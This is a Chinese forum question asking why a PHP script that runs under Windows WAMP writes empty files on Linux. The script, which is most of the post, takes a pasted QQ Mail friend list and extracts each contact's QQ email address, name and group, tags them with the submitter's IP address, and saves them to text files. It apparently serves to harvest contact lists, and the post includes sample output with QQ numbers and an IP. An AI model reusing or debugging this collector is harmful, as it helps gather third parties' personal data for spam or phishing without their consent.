摘要:摘要: 不知道有什么问题,以上php代码在windows下的wamp环境可以运行;但是放到linux上就不可以,可以写入文件夹,可以生成txt,但txt内容为空,这是什么原因?谢谢
php代码在windows下的wamp环境可以运行,但是放到linux上就不可以,是怎么回事?
用了stripos 函数,php可以写入文件夹,可以生成txt,但txt内容为空,这是什么原因?
我网上查过,可能是函数不支持、写入权限不够、或大小写、/ 等的问题
函数问题,我问过空间商,他说 php strpos() 函数是支持的
stripos 函数 对大小写敏感,在php4中不支持,所以我的一个空间win环境 php4也不能运行
我linux是虚拟主机,如何让php它自动报错?
代码=========
<?php
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 这里是配置区:
$ipod = 0; // 其值等于【0】时:不把ip写到 文档名称上;其值等于【1】时:会把ip写到文档名称上
$itvb = 1; // 其值等于【0】时:处于正常使用状态;其值等于【1】时:处于调试检修状态
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
if ($ipod == 1)
{
$ipor = "_" . $_SERVER["REMOTE_ADDR"];
}
else
{
$ipor = "";
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function GotCore ($ipt, $ky1, $ky2)
{
$key1 = $ky1;
$key2 = $ky2;
$shuc = $ipt;
$zuo = strpos ($shuc, $key1, 0);
$you = strpos ($shuc, $key2, $zuo);
$shuc = substr ($shuc, $zuo+strlen($key1), $you-$zuo-strlen($key1));
return $shuc;
}
//----------------------------------------------------------------------------------------------------------
function GotCore2 ($ipt, $ky1, $ky2)
{
$key1 = $ky1;
$key2 = $ky2;
$shuc = $ipt;
$zuo = strpos ($shuc, $key1, 0);
$shuc = substr ($shuc, $zuo+strlen($key1), strlen($shuc));
$you = strpos ($shuc, $key2, 0);
$shuc = substr($shuc, 0, $you);
return $shuc;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
if (file_exists(\'AAA\')==false)
{
mkdir(\'AAA\');
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$lnk = $_SERVER["HTTP_HOST"];
$lnk = "@@@" . $lnk;
if (stripos ($lnk,"baidu.com",1) < 0 && stripos ($lnk,"baidu.com",1) < 1 )
{
echo "<!--";
print_r(scandir("."));
echo chr(13).chr(10) ;
print_r(scandir("AAA"));
echo "-->";
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$rrr = \'#\';
@$rrr = $_POST["toys"];
if ($rrr == \'\')
{
exit (\'Error!\');
}
$mmm = \'#\';
@$mmm = $_POST["qqdt"];
echo strlen($mmm).\'<br /><br />\';
if ($mmm == \'\' || strlen($mmm) < 10)
{
exit (\'Error_002!\');
}
$sj0=time()+3600*0; // 请在这里设置时差!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//$sj0 = \'9876543210\';
$sj1=9999999999 - $sj0;
//$sj1 = \'0123456789\';
$hhh = \'#\';
@$hhh = $_POST["type"];
if ($hhh == \'\')
{
$hhh = \'\';
}
elseif ($hhh == \'QQMail\')
{
$hhh = \'\';
}
else
{
$hhh = \'\';
}
$yyy = \'#\';
@$yyy = $_POST["size"];
if ($yyy == \'\')
{
$yyy = \'size\';
}
$nnn = \'#\';
@$nnn = $_POST["nick"];
if ($nnn == \'\')
{
$nnn = \'nick\';
}
else
{
@$nnn = iconv("UTF-8", "GB2312//IGNORE", $nnn);
if ($nnn == \'\')
{
exit (\'Error!!\');
}
}
$zzz = \'#\';
@$zzz = $_POST["qqid"];
if ($zzz == \'\')
{
$zzz = \'qqid\';
}
$ppp = $_SERVER["REMOTE_ADDR"];
$qqq = \'#\';
@$qqq = iconv("UTF-8", "GB2312//IGNORE", $mmm);
if ($qqq == \'\')
{
exit (\'Error!\');
}
else
{
if ($itvb == 1)
{
//echo \'>>>>><xmp>\' . $mmm . \'</xmp>\';
//exit;
echo file_put_contents ("AAA/" . time() . ".txt" , $qqq) . "<br /><br />"; // 这里是一个测试型的代码行,是:全源码型的数据文档
exit (time());
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$qqq = GotCore2 ($qqq, \'f_qqlist\', \'product-name\');
$qqqq = explode (\' title=\', $qqq);
$q2q = count($qqqq) - 0 ;
$q6q = \'\';
$tvb = \'\';
$shu = -1;
for ($i=0; $i<$q2q; $i++)
{
$q3q = $qqqq[$i];
if (stripos ($q3q, \'.group(this.parentNode\', 0) > 0)
{
$tvb = GotCore2 ($q3q, \'.group(this.parentNode\', \'</\');
$tvb = $tvb . \'@#$%%$#@@#\';
$tvb = GotCore2 ($tvb, \'>\', \'@#$%%$#@@#\');
}
if (stripos ($q3q, \'.friend(this.parentNode\', 0) > 0)
{
$shu = $shu + 1;
if (stripos ($q3q, \' name="\', 0) > 0 && stripos ($q3q, \' qq="\', 0) > 0 )
{
$q4q = GotCore2 ($q3q, \' qq="\', \'"\');
$q5q = GotCore2 ($q3q, \' name="\', \'"\');
}
else
{
$q4q = GotCore2 ($q3q, \' qq="\', \'"\');
$q5q = GotCore2 ($q3q, \' name="\', \'"\');
}
if ($shu == 0)
{
$q6q = $q6q . $q4q . \'@qq.com\' . \'----\' .$q5q . \'----\' . \'我本人\' . \'----\' . $nnn . \'----\' . $yyy . \'----\' . $ppp . \'----\' . $shu . chr(13) . chr(10);
}
else
{
$q6q = $q6q . $q4q . \'@qq.com\' . \'----\' .$q5q . \'----\' . $tvb . \'----\' . $nnn . \'----\' . $yyy . \'----\' . $ppp . \'----\' . $shu . chr(13) . chr(10);
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$sj1 = \'tm1\';
$sj0 = \'tm2\';
$yyy = \'size\';
$ppp = \'ip\';
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//echo file_put_contents ("AAA/" . $zzz . ".txt" , $qqq) . "<br /><br />"; // 这里是一个测试型的代码行,是:全源码型的数据文档
//echo file_put_contents ("AAA/_" . $sj1 . "_" . $sj0 . "_" . $zzz . "_" . $yyy . "_" . $ppp . ".txt" , $q6q) . "<br /><br />"; // 正式的写出行,但是:不替换型的!
echo file_put_contents ("AAA/" . $zzz . $ipor . ".txt" , $q6q) . "<br /><br />"; // 正式的写出行,但是:为替换型的!
echo \'ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!<br /><br />\'.$_SERVER[\'HTTP_HOST\'].\'<br /><br />ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!ok!\';
$ggg = $hhh . $rrr . \'&tmpsuki=\' . time();
echo \'<br /><br /><a id="gogo" href="\' . $ggg . \'" target="">\' . $ggg . \'</a>\';
}
?>
=============post数据如下
size=0000000000&qqid=12987000&qqdt=<div class="bind_friend" id="friend_list_outer">
<div class="f_qqlist" id="f_list" style="display: none;"><div class="f_list"><ul id="group_self" style="float: none;"><li title="自己(12987000)" name="自己" qq="12987000"><a onclick="FRIEND_LIST.friend(this.parentNode);" href="javascript:void(0);">自己(12987000)</a></li></ul><div class="f_group_close" index="0"><a onclick="FRIEND_LIST.group(this.parentNode);" href="javascript:void(0);">我的好友</a></div><ul id="group_0" style="float: none; display: none;"><li title="疯狂的裁缝(76448)" name="疯狂的裁缝" qq="76448"><a onclick="FRIEND_LIST.friend(this.parentNode);" href="javascript:void(0);">疯狂的裁缝(76448)</a></li><li title="黑蝶(231221)" name="黑蝶" qq="231221"><a onclick="FRIEND_LIST.friend(this.parentNode);" href="javascript:void(0);">黑蝶(231221)</a></li></ul></div></div>
&toys=12987000&nick=必费 (12987000)&submit=Submit
=========
windows下写出的数据为
===========
12987000@qq.com----自己----我本人----必费 (12987000)----0000000000----129.147.10.194----0
76448@qq.com----疯狂的裁缝----我的好友----必费 (12987000)----0000000000----129.147.10.194----1
231221@qq.com----黑蝶----我的好友----必费 (12987000)----0000000000----129.147.10.194----2
不知道有什么问题,以上php代码在windows下的wamp环境可以运行;但是放到linux上就不可以,可以写入文件夹,可以生成txt,但txt内容为空,这是什么原因?谢谢
相关文章推荐
虚拟主机的专业参数,分别都是什么意思?2022-09-09
中非域名注册规则是怎样的?注册域名有什么用处? 2022-01-10
HostEase新年活动促销 美国/香港主机全场低至五折2021-12-28
HostGator下载完整备份教程分享2021-12-28
Flink中有界数据与无界数据的示例分析2021-12-28